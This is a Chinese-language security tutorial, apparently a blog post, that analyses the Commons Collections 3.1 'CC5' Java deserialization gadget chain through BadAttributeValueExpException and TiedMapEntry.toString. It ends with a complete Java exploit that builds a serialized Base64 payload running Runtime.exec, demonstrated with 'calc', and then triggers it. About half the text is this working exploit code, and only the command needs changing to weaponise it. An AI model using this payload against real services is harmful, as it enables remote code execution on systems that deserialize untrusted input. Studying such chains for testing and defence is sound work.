- 版本:jdk8u25
- 依赖:Apache Commons Collections 3.1
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> </dependencies>
|
cc5链子详解
对cc6触发链的补充
书接上回,我们学习了cc6的触发链子,最为重要的莫过于在 TiedMapEntry.getValue()之前的触发,链子为:
TiedMapEntry.getValue->LazyMap.get->ChainedTransformer.transform->InvokeTransformer.transform
而在cc6链,我们接下去的为TiedMapEntry.hashcode函数
在学习cc5链之前,我们需要学习一个新的触发函数,定位到org.apache.commons.collections.keyvalue.TiedMapEntry的toString方法
1 2 3
| public String toString() { return getKey() + "=" + getValue(); }
|
非常简单,调用了getKey和getValue函数并返回
我们继续查找谁调用了toString函数,因为调用实在是太多了,没法一个一个给大家解析,所以直接步入正题
定位到javax.management.BadAttributeValueExpException类的readObject函数,函数调用如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);
if (valObj == null) { val = null; } else if (valObj instanceof String) { val= valObj; } else if (System.getSecurityManager() == null || valObj instanceof Long || valObj instanceof Integer || valObj instanceof Float || valObj instanceof Double || valObj instanceof Byte || valObj instanceof Short || valObj instanceof Boolean) { val = valObj.toString(); } else { // the serialized object is from a version without JDK-8019292 fix val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName(); } }
|
解析一下代码,首先获取所有反序列化过后的字段为gf(注意一下,这个readFields和getDeclaredFields不一样,他只会获取可以序列化且反序列化的字段,被transient修饰的字段是不能序列化的,也就不会出现在readFields的返回中)
获取gf中的val字段,如果有,则赋值给varObj,没有则将null赋值给varObj
接下来判断valObj是否为null,是则val=null
如果不是null则判断是否为String的实例,是则val=valObj
如果都没成功,则获取当前的JVM安全管理器,如果没有安全管理器,即为null
再判断varObject是否是Long,Integer,Float,Double,Byte,Short,Boolean当中任何的实例,如果是,就调用它的toString()
正常业务情况,System.getSecurityManager()是我们不可控的,这取决于业务系统是否开启了JVM安全管理器,但默认情况下是没有开启的,所以直接打就行了
那么刚刚已经分析到了toString()函数,我们看看val这个字段是否可控
1 2 3
| public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }
|
很好,只有一个公有构造函数赋值,完全可控
但是呢,还有一个问题,构造函数中就调用了var.toString,导致了链子提前触发,无法正确的序列化恶意字段
解决方式就是反射修改val属性,不调用构造函数
那么整理一下现在的链子:
ObjectInputStream.readObject->BadAttributeValueExpException.readObject->TiedMapEntry.toString->TiedMapEntry.getValue->LazyMap.get->ChainedTransformer.transform->InvokeTransformer.transform
exp.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| package test;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.HashedMap;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.Map;
public class exp { public static void main(String[] args) throws Exception{ ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class); InvokerTransformer invokerTransformer1=new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}); InvokerTransformer invokerTransformer2=new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}); InvokerTransformer invokerTransformer3=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); Transformer[] transformers=new Transformer[]{constantTransformer,invokerTransformer1,invokerTransformer2,invokerTransformer3}; Transformer chainedTransformer=new ChainedTransformer(transformers); Map map=new HashedMap();
Class class1=Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor constructor=class1.getDeclaredConstructor(Map.class,Transformer.class); constructor.setAccessible(true); LazyMap lazyMap= (LazyMap) constructor.newInstance(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"Nebu1ea");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null); Field field=badAttributeValueExpException.getClass().getDeclaredField("val"); field.setAccessible(true); field.set(badAttributeValueExpException,tiedMapEntry);
//序列化 ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(badAttributeValueExpException); objectOutputStream.close(); byte[] bytes=byteArrayOutputStream.toByteArray(); String st= Base64.getEncoder().encodeToString(bytes); System.out.print(st);
//反序列化 ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } }
|
![]()
结语
BadAttributeValueExpException这个类是非常重要的类,因为他的readObject函数能调用任意的toString方法,以后也可能会经常用到
还是那句话,cc5链子要用到cc6的知识,那cc5为什么不叫cc6呢?
就此结束,Ciallo~~